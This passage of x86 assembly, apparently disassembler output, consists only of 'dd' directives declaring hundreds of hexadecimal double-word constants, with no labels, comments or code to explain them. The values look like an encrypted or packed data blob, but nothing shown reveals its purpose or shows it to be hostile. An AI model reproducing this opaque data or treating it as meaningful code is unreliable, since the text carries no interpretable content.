		dd 49712715h, 582F7276h, 6968144Eh, 83CAE554h, 255880E8h
		dd 5615509h, 41FAE912h,	688A30AAh, 83C6624Bh, 1F34D76h
		dd 54271FEEh, 3BC6017Eh, 93C944F2h, 0C504CBF2h,	0D5E1098Fh
		dd 4E4FC1EEh, 28AD2FDCh, 0DF04A694h, 0C53C7320h, 8EB1051h
		dd 171C5826h, 790D925Eh, 0DB5B9C4Ch, 81FBE2C5h,	8918E779h
		dd 0DF9B69ADh, 0EB7D5D4Eh, 0A426F32Ah, 3E071200h, 11D82D45h
		dd 2E356048h, 5A466C9Bh, 4E5C11Ch, 0C02EDCCh, 0D5F72608h
		dd 344F0101h, 2F2130AFh, 6141E2E0h, 92D52D6h, 3A4FC5EDh
		dd 55CBF540h, 7111C510h, 17535A93h, 8AC004D2h, 1031EAC9h
		dd 0E83FFCA8h, 0D06A9BCDh, 4FEE40h, 6EF2F781h, 0BA52530Fh
		dd 255E7B39h, 0A8F9D976h, 6D850A27h, 5D1340Ah, 0A8A0A139h
		dd 0B7FB208Eh, 12CE8D58h, 0BB00D0B9h, 520A1341h, 0F9905C29h
		dd 6A71FC95h, 49E984F4h, 0F30106A5h, 0C95E9598h, 55A7779Dh
		dd 5809409Ch, 0D3330B68h, 0ED0E9621h, 19DD2595h, 0D04131B1h
		dd 0E6734A2Bh, 0DF307558h, 735BC963h, 0AFAAC72h, 84AB1F4Ch
		dd 89F9889Eh, 0CE97013Ch, 291709DDh, 0C45ACFDAh, 0C330F681h
		dd 4E41F67Fh, 83A5CDB8h, 0B1A1CA0h, 0F97CA51Bh,	515E04C2h
		dd 59708254h, 57C32348h, 0BB6F0D03h, 697B2221h,	0AF52947Ch
		dd 0A32440E8h, 583FD00Fh, 892A2DF7h, 0D6EE57D9h, 41BBA75Fh
		dd 7A545010h, 490C8059h, 0E96E2419h, 0F179D01Ah, 58E82F07h
		dd 0D7E2B2ADh, 4A88A3F6h, 0FC002D21h, 0A070FDCFh, 31E93F09h
		dd 8296568Fh, 5C306853h, 0DA8BDA79h, 855D71E0h,	531D9A68h
		dd 4487EB85h, 9B2D05A2h, 58F5EAE9h, 0E65F4E64h,	20547DE5h
		dd 0AE4C6883h, 767B24A1h, 0BC83B42h, 0FD421A75h, 797BFF81h
		dd 1F803EC9h, 9707E957h, 0A25A268Bh, 0E6020F7h,	0B8B6475Ah
		dd 3BC18101h, 0D8206035h, 2E0085E9h, 0F901390Eh, 0BE08B968h
		dd 10C26F37h, 5655597Dh, 47CD1CFDh, 63024967h, 7AA3D0E5h
		dd 4B5C0D05h, 0D6066C14h, 90552CC5h, 3966D0B7h,	808B8450h
		dd 0D097DBF7h, 8CCF20F6h, 0C231DBBDh, 75F4A3DDh, 69036B83h
		dd 59EB2702h, 35225EFAh, 5AD4888Dh, 3FD49D6Fh, 16FAADC4h
		dd 0F604A49Ah, 0EB0111D3h, 0EFE32B0h, 0AF45C46Fh, 9D3DB461h
		dd 864E4E05h, 6D5D7969h, 0D5F60023h, 9B2CE886h,	70C6302Dh
		dd 3F9F5CCAh, 0E95A439Dh, 562507E3h, 0E42BF731h, 6819C9DDh
		dd 336F3BE5h, 312C8B7Fh, 808C904h, 52502F94h, 42AE585Ah
		dd 0D0314AB0h, 5049E7Ah, 2FA76330h, 44AF69C4h, 0E4DC8867h
		dd 8740C033h, 6F744C01h, 0E0645E2Fh, 793A0D41h,	0D6A87BF9h
		dd 0FA5946C1h, 0D80B3BFFh, 70DDFE51h, 2588864h,	6D2041h
		dd 5A2DF681h, 0F33198F4h, 6A61009Fh, 79030DACh,	60589729h
		dd 66E364B6h, 0A450FB68h, 8481F3EAh, 13AB75E9h,	3A8EAA1Eh
		dd 0E1C6E912h, 885FF0C2h, 678C799Fh, 1E3BA28h, 7BE95BCAh
		dd 0CE30BCF7h, 572FD2A2h, 0A4590C5Ch, 962C0775h, 0AD8A0F05h
		dd 0A0916C2h, 87E44A26h, 0ABAF589h, 5714121Dh, 4F99CA8Dh
		dd 26FB8B80h, 0EE7F4BBFh, 0B5E93561h, 88CBC86Bh, 6C015A26h
		dd 3AC3508h, 0D01CE5BAh, 0A427AAE5h, 15FF36D0h,	55F02EE9h
		dd 29E9CE51h, 0D5979864h, 483E7B9h, 62814281h, 29C45B2Dh
		dd 16C888EAh, 86BC3C4Ah, 33D842C9h, 0C9D9F995h,	5913A377h
		dd 0C66BAF6Ch, 0AFB23EECh, 1A7FE698h, 4E266859h, 0B260B702h
		dd 0FFEA8081h, 0E1D9F2CCh, 57E9EE8Bh, 0EB5F6B72h, 277B97A9h
		dd 71A09EBBh, 7D855575h, 0C4A20FBFh, 0EFACCB9Fh, 8F12189Eh
		dd 5A01F088h, 8B8B753h,	51D85BF8h, 0A7F42FE9h, 2A42C46Ah
		dd 0F0959E7Ah, 7DABA2BAh, 0B2F631Ch, 6BD5C6B1h,	0AD7D79CBh
		dd 1FA8AB5h, 267B6F68h,	62DD256Fh, 4B65574Eh, 0BF9BF225h
		dd 0C6FEE560h, 1E33F1B7h, 9FCA6853h, 0C4CFE851h, 4124D2Dh
		dd 578654D2h, 7EAC29EFh, 37D81A80h, 0E93A5FA0h,	9ADE0583h
		dd 0A0AABE8Eh, 5B9CF8FDh, 1840BA1Ch, 0E28127D4h, 675A1222h
		dd 785027Ch, 0FCA68E9h,	3BA2657Fh, 967FE5ADh, 4D48FCFFh
		dd 0ED3BF46Bh, 0B98AFC96h, 0EF607C49h, 4C63F651h, 56072D7Fh
		dd 22627200h, 0E913295Fh, 0EAEDA1CEh, 0C797B33Dh, 5984AE49h
		dd 87E90802h, 5AE8CCD2h, 0B3C001B5h, 7FDA88CDh,	0C429521h
		dd 9BF8380h, 4F07C006h,	8C4FDDF8h, 3A886720h, 0BB9ED276h
		dd 0B771C6CFh, 82E4C6Eh, 0CB93B5E7h, 0E6F8CCEFh, 0B72FF741h
		dd 253912B6h, 0F085B8B2h, 0E9E6BE5Eh, 0AB96C6D5h, 6A928391h
		dd 0BD555000h, 0EC60B217h, 880027F8h, 0E974535Eh, 0E3A4EBB0h
		dd 0AB4C2201h, 50E6685Fh, 17745F36h, 8B21A933h,	77B5045Bh
		dd 6EA11399h, 17633A20h, 0B9FE7CAAh, 9F851096h,	6589D05Bh
		dd 0D315F01Eh, 0D69AD001h, 801394A3h, 0DF75BA65h, 0E2D00BFFh
		dd 981D4E5Fh, 18A162D0h, 24FD4B5Ah, 74BC5FD6h, 20BA892Ch
		dd 4BD4BF18h, 0D22342F8h, 482DFB0Dh, 0D1A5D4BCh, 0EA5BCFF4h
		dd 3E2EF4BCh, 0E9E04DD8h, 20CED8AAh, 69C1C55Ch,	50F3BF42h
		dd 0D9C369F1h, 0B5897FF4h
		dd 567946E4h, 0FD8215E8h, 514FD1F9h, 116DEF5Bh,	4EB1912Fh
		dd 0F1287B66h, 40AA4127h, 850F03F0h, 6ABB892Fh,	33904065h
		dd 528B033Eh, 63E9E688h, 685DBD04h, 73CD5428h, 4E28F0E1h
		dd 5CCDE64Ah, 196C0054h, 0F581183Fh, 0A352EEEDh, 890FA8A6h
		dd 9B9F6F29h, 834164C0h, 2220E96Fh, 0C38A2E94h,	0EF019235h
		dd 0E1C10830h, 12A59208h, 1BB00Eh, 2B036E67h, 0CA090109h
		dd 2EAB28E9h, 0FBCA3DB9h, 0CE81BCA5h, 110E1BBAh, 7316F230h
		dd 3458BD5Ch, 0F3C1F655h, 0E5BC15A8h, 4FB7358h,	0F8B6D38Bh
		dd 320069FCh, 0C120165Ah, 0EEF207E6h, 0BD0F950Ch, 775C5C58h
		dd 32B49018h, 0C2B33C7Bh, 4F503660h, 5C6E4226h,	71D08300h
		dd 2AFA29BDh, 5CAD6E9h,	27956857h, 8107AED1h, 164251E7h
		dd 7995833Fh, 47C20770h, 0BC162E9h, 8A82987Dh, 0FE5E51C4h
		dd 15B4B6Bh, 0F070CA82h, 521BD40Bh, 0CC252C7Ch,	2FFEBD65h
		dd 7FC72362h, 5F138CF1h, 0F7015361h, 5E12716Fh,	3AB20093h
		dd 22069A88h, 0D677E61Dh, 6E04A74Fh, 7A82C7FEh,	33DB6CBEh
		dd 912C8493h, 1EFD5CF2h, 0CCF9956Fh, 0A522ED20h, 89F30674h
		dd 0DC394A7Ch, 4F27930Fh, 69DE4906h, 0AE3A2DD9h, 0AC20F131h
		dd 0B683C86Fh, 0A16FC441h, 792675h, 16A42A5h, 160EF181h
		dd 0B9B6A6C2h, 4EE4E7Ah, 82E1C018h, 0BC5CE2B6h,	39084B26h
		dd 0B905174Dh, 0EB4E7A09h, 0F5301B05h, 0DBCB9006h, 1A97A1C1h
		dd 0B858F1C0h, 3DD8319Bh, 65A68BF1h, 8EFC2E2Ch,	0E77AEA04h
		dd 9B9C814Dh, 40667155h, 1223B788h, 0E9175679h,	0A820CBF9h
		dd 1F67BFC9h, 5BD8019Dh, 4A00EBD1h, 2E5A8366h, 0E216905h
		dd 0D2D68D3h, 0C00AB9E4h, 0BC46B1EEh, 0E9426206h, 2593D435h
		dd 3C4EDDD3h, 435AABF6h, 552644Fh, 44FBCD33h, 0B3F9DB2Fh
		dd 8634C425h, 2C8C2BC0h, 2C2E4963h, 70662950h, 727E974Ch
		dd 469E7752h, 66060687h, 32541D68h, 5B1A6D3h, 7C2D1974h
		dd 4D55273Dh, 22A42734h, 0FFC39473h, 7B040146h,	93545F4Dh
		dd 0FC12E377h, 31AABC22h, 0A0926A2Bh, 0F520C14Fh, 0C7DAA07Ah
		dd 1C27121Eh, 0B2B00102h, 7357B1Dh, 52068FDh, 0DB0317CEh
		dd 1CACFC7Dh, 31924122h, 0CA1F86BCh, 4CEFC9D9h,	8E496382h
		dd 90D7B4ABh, 28C58BB7h, 17E88524h, 5E477B8h, 0EEABD6C0h
		dd 1962FC30h, 5E35782Fh, 5EFBF6CBh, 1C8A42C0h, 6EEFC40Dh
		dd 0EF162Ah, 0D5E78054h, 51135266h, 70B849B1h, 99F72814h
		dd 0C167E034h, 65113022h, 4008ED3Ah, 0C46D9FB3h, 0ADA4185Bh
		dd 0C39A17CEh, 6805846h, 0BB4AE950h, 0B1BDC113h, 3FFDA9Eh
		dd 0C235C8D5h, 46B09FB0h, 79979E2Bh, 28D1656h, 663568A5h
		dd 2997A459h, 25C5DC3h,	608405F3h, 0F97533B3h, 7AE95844h
		dd 291F134Dh, 61293BAh,	0E402EA84h, 0C40548D8h,	7AAAC864h
		dd 80D1F601h, 31E8D3C1h, 8814C3B5h, 0F2D859CAh,	16502C70h
		dd 3770B6ADh, 0CDEFF04Bh, 2B586118h, 7E3921C2h,	0B81E25h
		dd 0BD03CA6Bh, 744BF724h, 610F84F8h, 12E100Eh, 0D9EE02D6h
		dd 6E7C632Eh, 5B098110h, 3359148Bh, 7B0CE961h, 6F3E296Bh
		dd 4052DC98h, 0CE7289BCh, 59165F90h, 5EBE4B9h, 0A1FDE9A8h
		dd 0C7A12BBFh, 81D1752Ah, 49892F5h, 3C2E5980h, 0A9655C21h
		dd 7FBD55B1h, 0AA34FCD6h, 3BA54ACh, 4E895F4Fh, 2EC60C06h
		dd 801A3423h, 63FF0984h, 7690D870h, 0F901F0B0h,	63685F0Ch
		dd 0F521E954h, 92ED293Ah, 0DEFB560Ch, 535C0080h, 671C1EBBh
		dd 0B0829844h, 0D27920E3h, 305D3412h, 49AA6A12h, 3A240FB1h
		dd 54FDAA54h, 0F9AA05A7h, 835E12BCh, 40968AFCh,	65D4DE48h
		dd 0F05B217Ch, 0D2594FF8h, 3F31F650h, 20FC6B7Fh, 0B9058438h
		dd 54323BB1h, 0CCF092EAh, 0E24AC2C4h, 60D7CEAAh, 3609FD0Ch
		dd 57E9126Ch, 123DA2B8h, 0EFE97381h, 8F167603h,	9C024E74h
		dd 0A7DBDCEEh, 9A666B41h, 6631D7FBh, 9EE56BC3h,	0BF238530h
		dd 0BA562005h, 0C1AB4774h, 0B9C48DD3h, 4C1894C5h, 0C0C105C2h
		dd 0C8C09371h, 4EE907E1h, 89C504B8h, 9FB382CFh,	0C5D9C57h
		dd 32FED1BBh, 0C5C4C87Ah, 0C9BADEF7h, 8B3D63C2h, 5C0FF899h
		dd 0D6223D5Fh, 6DE9C64Fh, 0D686597Bh, 2F72FB5Eh, 253CE4D9h
		dd 0CDB584Fh, 0E212A408h, 0E9019689h, 0F7C27182h, 0D1098CD2h
		dd 0DC516308h, 6F86BCF0h, 0C71EE25h, 5027F674h,	3903DE54h
		dd 267197FFh, 3B3149A8h, 0E2B75AB8h, 46F870ADh,	78E698C4h
		dd 16B3CFEEh, 8D201310h, 30B00E4Eh, 0C7954F05h,	0AF302CC2h
		dd 59293A2Ah, 0C6567A0h, 50137387h, 9C62FAD2h, 10C080Dh
		dd 0F5835F14h, 74308701h, 0E9379F70h, 0EEB9B485h, 3715D306h
		dd 6A02222Bh, 89A84369h, 24F74D5h, 58050768h, 0E30EAF5h
		dd 0C4E9A5E4h, 2DAA1094h, 0DCD2FF99h, 310446D5h, 0B7E049D8h
		dd 398B431Eh, 0FA82F79Ah, 726484FAh, 70639838h,	0E9C20AB3h
		dd 16D87E2Eh, 1E2AFF55h, 0CCD965Ah, 4B76BD00h, 6A31623Dh
		dd 258AB838h, 461834DBh, 0E2044247h, 384A2904h,	8F8CB2ABh
		dd 39DA8172h, 97662C4Ch, 7DAA6802h, 0A7EC1767h,	4BBB5B5Fh
		dd 0C2FC2773h, 0D90E9E1h, 5C25981h, 3E69935Eh, 0C9F6500Eh
		dd 5F725D91h, 377B8398h, 68570CC0h, 5E8125B5h, 89E7A041h
		dd 8FF41B28h, 24DEC830h, 1E511E05h, 94290F1Fh, 3150072Dh
		dd 0C4563F1Dh, 2E3E2EC8h, 0E971DF02h, 36FFA670h, 8B0F1368h
		dd 0BFAB52F5h, 0A2C80BD2h, 80AB24EDh, 3179F2D4h, 49D6E4CEh
		dd 0D16FA5Ah, 29AED50h,	983E92EBh, 2D60D5F4h, 74AB268h
		dd 4A50328Ch, 0BE08DC92h, 485894A9h, 2064789Dh,	20A4FA27h
		dd 68E640B2h, 33FD5F4Bh, 25D0E510h, 0D2637DACh,	1954A4D2h
		dd 0D7894D1Dh, 834FA9D5h, 0C0B85029h, 413F54Bh,	0C02DC5BEh
		dd 5680EA68h, 4AB7E946h, 4D4B9084h, 475E5113h, 7EE06617h
		dd 56669737h, 0A1569307h, 8B838910h, 0F55E05C0h, 0EB61456Fh
		dd 89FA8784h, 9741305Dh, 0AD756A4Ah, 6FE0F4BBh,	0E90C0AE1h
		dd 0AD1835CDh, 0A340A090h, 705A9547h, 0C0686E09h, 96E500F9h
		dd 711A1C0Ch, 4DF1B749h, 26CC8F08h, 65940902h, 9D9B1C77h
		dd 7C21DD9h, 6BA5D53Fh,	4E3DACA9h, 68312EBFh, 2119E114h
		dd 756B4086h, 0B694FB6Ch, 2FBDA312h, 0DD88DD17h, 0B5DE6082h
		dd 87E6C028h, 0F4A5B227h, 0CA40788Ch, 5EC31DC7h, 0DF126C03h
		dd 547D009h, 9C38D22Dh,	391FC171h, 37E73A95h, 7FC90896h
		dd 25066805h, 0AD80CE37h, 0BD634010h, 0F413217Bh, 0AAF9BA52h
		dd 0BC7365C4h, 20EDC958h, 6F9FB863h, 0D490344h,	3CF03FC8h
		dd 28E1B0F9h, 2817D7C2h, 1C7ED9D9h, 3F0F9F75h, 1B1C6FBh
		dd 2D270B63h, 0A493D560h, 93F46EF3h, 0A2B94343h, 4CB44A86h
		dd 0F05B2DE5h, 0B3159FC9h, 4543E90Dh, 0B1BF43Bh, 8EB76E4Eh
		dd 6C295748h, 84131183h, 2E9485AFh, 0BB63C0FBh,	4C1D9F6h
		dd 0B00A840Fh, 65C1E964h, 81120692h, 6FC9CBF5h,	1C17E0FDh
		dd 0B135AC3Ch, 54FC9AB5h, 63229CBAh, 73485B36h,	5FEA4E1Bh
		dd 9E29495Ch, 5DAF81F9h, 0F25F7B32h, 958F7A87h,	0FADE1CF5h
		dd 0C010C286h, 83C007E7h, 0FE5C08C3h, 127A2076h, 1EE2959h
		dd 0A277ED9Bh, 5752603Ch, 0BB6707B6h, 763A2731h, 81E13Ah
		dd 553BA0C6h, 880F330Ah, 0C2AFA4E0h, 94DA40CDh,	80109D81h
		dd 6495CA22h, 0DA011210h, 30A2AB53h, 0B2DEE983h, 2D5E2A12h
		dd 0CF6ADD6h, 153F2271h, 6002A97Ah, 0D4E90291h,	361E4ADh
		dd 5AAF3590h, 28F1DEBDh
		dd 5E987277h, 75D520A1h, 0EE2F3725h, 30E56001h,	0A1F8178Dh
		dd 3F209FC2h, 3E227BC7h, 0F7010913h, 0C086810h,	446802E9h
		dd 5F10B088h, 4A840F60h, 8A8FA6A4h, 0C875B5Fh, 4C5D820Bh
		dd 0C2397C7Eh, 9B5D4043h, 9B2C2B04h, 0CBFE0322h, 91F9C386h
		dd 5387297h, 28090208h,	0D86B0082h, 95A29508h, 7514D994h
		dd 0D9E0054h, 0B4BE1EEAh, 1F090E01h, 2097B5E9h,	0E43CC5FBh
		dd 43C09D68h, 0A5032405h, 4EE9E63Fh, 0B3250FD5h, 0ACD2EF3Dh
		dd 2CCA1C22h, 784F742Dh, 98971995h, 501DCD6Dh, 0EC5F72Ah
		dd 52853A1h, 0B709A872h, 5CD95FA1h, 1779CAF8h, 17E7A02h
		dd 0D6CE24Fh, 0A06F39h,	0D9035980h, 48A1161h, 8AEE04A4h
		dd 60C925E2h, 0BD61B7CFh, 0EAB787CCh, 5AD85D6Dh, 0F3F3C85Fh
		dd 0F93E8D5Ah, 0BDC06B5Ah, 0B1B4BCE9h, 68644F3Bh, 23AC126Fh
		dd 2C8ABD7h, 3D545C53h,	33142619h, 4FC3646Dh, 0A141D5ECh
		dd 1E601761h, 99FCF4EEh, 27ADBB99h, 605F0F41h, 7F3CA9E9h
		dd 68409EF6h, 0F4B36A12h, 4EC31510h, 6DB38CBFh,	0F6405D62h
		dd 1DA25F54h, 0E040C7FEh, 569625D7h, 9CE2CF93h,	1EBA5580h
		dd 29E47271h, 38E9CA3Bh, 2CEB4BA3h, 6813522Dh, 2060781Ch
		dd 48CA62CCh, 0C834D57Ah, 6A84FF0Dh, 164792BAh,	4FBAF0D7h
		dd 0D9482D3Ch, 76AB2EE9h, 7D5C8AC2h, 166A660h, 13753432h
		dd 3BF7D8E9h, 0C2B4D5F9h, 82F2C433h, 0C56FC0EEh, 2578FC8Dh
		dd 2C73E5D8h, 0E9400402h, 34E6B0BAh, 7C2CCE12h,	8E08FB09h
		dd 8CBABC86h, 16D12858h, 205A2EFCh, 0BB59083Dh,	6DC68439h
		dd 0D0AF6B51h, 0F707EBA1h, 0C604DB6Ch, 5E84FA2Ah, 21B8A05Ch
		dd 5D5BDE2Dh, 3FF7006h,	0F0040CDEh, 0B080908Ah,	134B2B69h
		dd 10F50144h, 0A4C0817h, 0B9DF84h, 0B02332BDh, 0E5810472h
		dd 0AB141563h, 0D265B71Fh, 1216A22Ah, 324B5DBFh, 0E55F4925h
		dd 0E47393BFh, 0AA01CB8Bh, 6812CF36h, 0A62B72ECh, 237400CEh
		dd 48E97F1Ah, 0E1249980h, 60D1F759h, 0DA7231B0h, 8D369h
		dd 670BC306h, 8E0F1346h, 4ADE4E4Ch, 0D7AA85E4h,	0AC89D193h
		dd 578C975Eh, 0A8F1CDFAh, 4944C5B9h, 0E031708Fh, 0BCF6B757h
		dd 406B4251h, 9D4AF3EAh, 34F63AE2h, 0F5A78F6Bh,	16D78E09h
		dd 4D689821h, 6BC6FC9Bh, 2B2F1D4Fh, 8BD69A56h, 6AE4053Dh
		dd 8FC68AFDh, 0EF5E835Bh, 6701ACD5h, 452375EAh,	481942Fh
		dd 0B83BE908h, 97BD4EE0h, 0BFCF2F12h, 793FFE31h, 5D618799h
		dd 2BC3ED5Fh, 0B21677BFh, 227B40F2h, 1B63BCA8h,	0C5AD6A9h
		dd 0D034877Eh, 9909C728h, 220A0566h, 0F5C8EAA8h, 6C1EEDACh
		dd 1CCE7C18h, 4F096436h, 18C28822h, 0BB3AC441h,	0EA74C36Dh
		dd 37630968h, 9CC5558Dh, 0E9AA273Fh, 96248014h,	0FB40B50h
		dd 375EE4D0h, 0FC4C6F28h, 0F4800E86h, 5FEB65BDh, 3DB781FBh
		dd 0FF3EA788h, 0F34AE14h, 21C60ABDh, 2F4A945Eh,	464FE874h
		dd 43FAB62h, 873D93BAh,	58C3AD55h, 47E9C56Dh, 0CBF68A0h
		dd 597E418Ah, 4E129E22h, 49727291h, 56DF41CFh, 0CCE68100h
		dd 1AB82313h, 69000112h, 0F031B35Dh, 0BE5C4BE9h, 6ACD690h
		dd 4B2F7B87h, 0C681D05Eh, 7A7941F5h, 9F3A5895h,	6ECFEBF0h
		dd 0C1C6113h, 0F360FA31h, 83739508h, 85DD2909h,	0E94B06AAh
		dd 0A68D7BD5h, 967F6980h, 69929CB8h, 0AA5D050Bh, 5E02A2F1h
		dd 5512B768h, 1696986Ch, 463B763Fh, 799577EAh, 6BFCC905h
		dd 8846B305h, 91D381FBh, 4CB12695h, 0FD508BF8h,	0EB2DA9E8h
		dd 6B5E7702h, 8805F801h, 0A82ECE07h, 0D426ABA4h, 840E170Bh
		dd 9F88A4B2h, 905154E4h, 2A6B027Ch, 374C681Eh, 0DAB849A0h
		dd 620FB62Ch, 0C512BD55h, 18FA3CFBh, 614C12ADh,	2D69E300h
		dd 115E1C41h, 221FD29h,	0C9820804h, 0D530029Bh,	80D545F5h
		dd 840FC5FEh, 99C4600Eh, 34FE0405h, 0A1FBB80Eh,	0A04B5954h
		dd 468EB802h, 715C2934h, 6E684802h, 0E783FD09h,	61257032h
		dd 0E5ECA20Ah, 986D7F45h, 6A03E984h, 0E4535FC8h, 4ABB7BF8h
		dd 0BC991325h, 5DC0F424h, 4F3D1217h, 4136AD55h,	0A7B23E08h
		dd 0A6685604h, 8F30BF74h, 7836381Eh, 27FE5D15h,	7805C594h
		dd 0A03A8F20h, 0F3316815h, 7655A772h, 77A1B34h,	5E251344h
		dd 0EDCCC44Eh, 5802766Ah, 3178742Ah, 0C46C5711h, 496CA331h
		dd 3535BF7Ch, 12D01160h, 445EE80h, 13B27627h, 5AC48AFBh
		dd 9AFFC904h, 78DE813h,	0D4F6C6E4h, 412FEB5Eh, 0EE208825h
		dd 39BF80BDh, 3A445516h, 0A435C5FBh, 19D23EDEh,	0C7E511BFh
		dd 0CD9AAEC5h, 6E6DE16Eh, 3848F790h, 0D1155E54h, 87425B1Bh
		dd 0FF584F35h, 0E28CFE1Bh, 5B00157Bh, 0E853A52Dh, 0F001125Fh
		dd 0EA1F0155h, 0DA32C826h, 9EBDAD5h, 8C38058h, 9509BE7Eh
		dd 653D5E01h, 0AE5395C2h, 410F3E6Ch, 7C6285CDh,	92BF3F64h
		dd 0A6F405EFh, 0B090DEBAh, 0B5E644E9h, 0F1E9E874h, 7568856Fh
		dd 12FE4455h, 0F32AEC1Dh, 183138Fh, 0AC4C906Ah,	750F3A5Bh
		dd 2B4EF387h, 2D557A56h, 328270E9h, 2F77B8B4h, 791564E7h
		dd 0FD4C3DBAh, 6B4B3A33h, 2F25DFC6h, 5FDFFC59h,	911011B6h
		dd 0D0977C8Ch, 0A1E55EFCh, 49C127E3h, 0AEB91084h, 860B9E58h
		dd 6D760F3h, 0B124AA4h,	733D4D10h, 7A5D4F09h, 2A2400F2h
		dd 0D529A59Fh, 595D8CE9h, 4CE52F20h, 8ED0591h, 0AA3A100Dh
		dd 2F08E750h, 808E3458h, 0E0CDB0A5h, 0ADE912C6h, 3924AB8Dh
		dd 82FBB3EEh, 53C42DE9h, 67D4AFF6h, 0F167F0Ch, 2D5924CDh
		dd 1A2F3844h, 7801878h,	844FE95Dh, 0AC4DD70Dh, 6238E541h
		dd 0C42EA8F1h, 5AF5CA18h, 0ACD813AFh, 9EB54088h, 4043E859h
		dd 6E62BAD3h, 0E0BDE20Bh, 0FD64A97Bh, 2DF18421h, 39090EA9h
		dd 44BF1420h, 17EF20EFh, 90007D90h, 8114842Bh, 2519E4E1h
		dd 0B6FC0147h, 3EF0B634h, 4F515CB4h, 0B544FF4Ah, 8A1679D5h
		dd 88257E7Ch, 5D344AC6h, 7BFB8A0h, 0C95DE26h, 0E81E12E1h
		dd 0E9281D6Ch, 5C30B3CBh, 24BE1DB1h, 89A0CA22h,	3E3E4E91h
		dd 65B59644h, 5E4FCBEAh, 61164BA2h, 4B92A73Ah, 0AB1F95BFh
		dd 68D0E7A1h, 0A2374AE7h, 561A10A6h, 28755827h,	5E1393B9h
		dd 87C888FBh, 0DE48B66Bh, 0E53C8C22h, 2F9A5A20h, 9898CBE0h
		dd 0B990B176h, 0EFE2894Fh, 2D352D84h, 0D787DB42h, 0DB33CF46h
		dd 105910F1h, 62697BAEh, 61CAB298h, 488E48F8h, 0B0F3835Fh
		dd 0A304EA29h, 0CF31DB71h, 0AB7D1905h, 57FA8735h, 100BF853h
		dd 250B980h, 0A32E1FA0h, 75E46F13h, 0B52B5737h,	0E48872C4h
		dd 70351D42h, 85EA8168h, 2AFF11F6h, 9F503E4h, 8CFCBCEEh
		dd 0F833A04h, 408D6980h, 40282E7Bh, 22B82CF8h, 0BEA5BBA3h
		dd 54825A89h, 1F783A37h, 0DB2038C2h, 547DF8BFh,	5FBC624Ah
		dd 0BC93FC59h, 0D5A62EBAh, 3C122996h, 0F7E54500h, 4031D361h
		dd 0CE4A3ADDh, 2F62A6CCh, 0D2809A22h, 38EE7C32h, 747B82B5h
		dd 20FAE017h, 856594D7h, 0EA2D6858h, 93B02A16h,	567400BEh
		dd 0F131E421h, 297095Eh, 0FC7B6F82h, 3E9580B4h,	7EBB66D3h
		dd 0A80FCB13h, 0F7D803FAh, 7A0743DBh, 71E3608Bh, 0F9E94B70h
		dd 907D95ADh, 0F1AEDA1Ah, 0BC945FE6h, 2E4571FDh, 0BED243B2h
		dd 0B95BFAE7h, 54A0A1B8h, 0FF15024h, 8AF4A4BFh,	823864h
		dd 0C90DD8F7h, 0EEE3E41h, 2F6B4718h, 0A1292E7h,	0E31D0BFBh
		dd 5BAA5440h, 625FE94Fh, 0F26824A9h, 0FCF41758h, 69FB845Bh
		dd 0F1AA05CCh, 0A1943999h, 0BB3AF801h, 55D2E232h, 873DFEE9h
		dd 39F280C7h, 5D6BE482h
		dd 5495CF6Ch, 63F85046h, 56DEE7C9h, 0C20A37ECh,	94FE7E69h
		dd 0B7E35552h, 2ED70F4Ch, 6C44DFC0h, 0A4BB1394h, 5D952976h
		dd 6EC1E91h, 0E95409B8h, 94D77D10h, 406817CFh, 9C08CC2Dh
		dd 27AC554Bh, 0E1C9E5E7h, 9B937AD7h, 0B3EB8DABh, 950D162Bh
		dd 0BDABD8BAh, 0F9684E0Fh, 71EA094Dh, 0DCF9A7E4h, 6762E90Ch
		dd 83DD35Ch, 6603B84Fh,	0D3E52C5Ah, 0B7F88326h,	9C4E64Bh
		dd 7E988B7h, 7EBF7878h,	536E88F4h, 0C4745B16h, 4EC5F7EBh
		dd 0BEE26438h, 0C95C18D6h, 1E4EEB68h, 0FB73B8CCh, 0CFC42C28h
		dd 1BBBCBF7h, 0DB069Ah,	147CBBB1h, 0EBD15443h, 58D3F727h
		dd 4AAE09C5h, 44DF5EBAh, 515604E3h, 0F8D389E9h,	503BCB10h
		dd 0BDB84A9Dh, 4FB5E60h, 0FE53F42Eh, 0AB5A488Ah, 86288B39h
		dd 997E28B0h, 0E92D433Bh, 12295C0Bh, 439C123h, 0EFD97EF0h
		dd 0D8C1A1E5h, 50C21E78h, 1DE0DDB4h, 6B91F3E0h,	0E8BD2944h
		dd 0ED5EB694h, 0E9508108h, 5922A634h, 0E79C903h, 0C0740AAh
		dd 2298273Dh, 3FC1E9C7h, 6D7076BAh, 0EF48129Ch,	0ED9EC271h
		dd 94C50889h, 93126688h, 0FF8DBA7Fh, 5A7C25C8h,	16FA520Dh
		dd 0D874C579h, 0F52D68A8h, 2AFD4679h, 1CAC6C8Ch, 565A8EE2h
		dd 0A25C0121h, 70D348h,	399C4E76h, 0FD055568h, 8067830Dh
		dd 7C5E506h, 0F6FE704h,	0EAFC3D80h, 3EC3714Bh, 0BAA311C0h
		dd 0CFEE6D81h, 7009BD4Eh, 17C05442h, 2E0649EBh,	6B97F677h
		dd 30944EBAh, 0BEEB8001h, 51B05066h, 0E623C3C1h, 0ADC41A17h
		dd 98680BB6h, 0E25A983Bh, 15E4B785h, 6873ED05h,	30FA6248h
		dd 0E1E9D74Eh, 0B58A434Bh, 0F53FF055h, 8BEEE1E4h, 8E55E6EAh
		dd 80BE53C1h, 2C310D84h, 5CE94D27h, 81B1A63Dh, 68F22EF1h
		dd 0E1AF0401h, 5A0B018Eh, 0F4DE4F7h, 4B2B8915h,	52351398h
		dd 0F01305B3h, 0BDACA4B1h, 2B260605h, 6984CB29h, 0E59080Dh
		dd 0D91118E4h, 46EB0C1Eh, 0CF0D1C08h, 0C1BBE1Ch, 3008A56Fh
		dd 0D9309D9h, 2E88BA00h, 64F7337Dh, 0AA60FAD2h,	49350B3h
		dd 0ED1CAF11h, 8B7C86A4h, 0CDAE25C9h, 307B2957h, 82835A60h
		dd 0FC1860DFh, 12F6BB07h, 17F4BA5Ch, 0CF5041E1h, 2CB5BCB1h
		dd 2348C4F5h, 113CFB17h, 1AB09908h, 44D747BEh, 48197536h
		dd 2313996Ch, 0FB9CFBF3h, 251A76CAh, 1CD60976h,	0DC0911A4h
		dd 0FD0BA6AFh, 9E4E553Ch, 78F6417Eh, 803CC836h,	5621FE0Ch
		dd 0E3B0E92Ch, 0ACD8443Ah, 5A3D8C99h, 0BF575201h, 48E53233h
		dd 4844E22Eh, 0BBAB1091h, 0A57E9C51h, 0AC217A2Ah, 57BA5629h
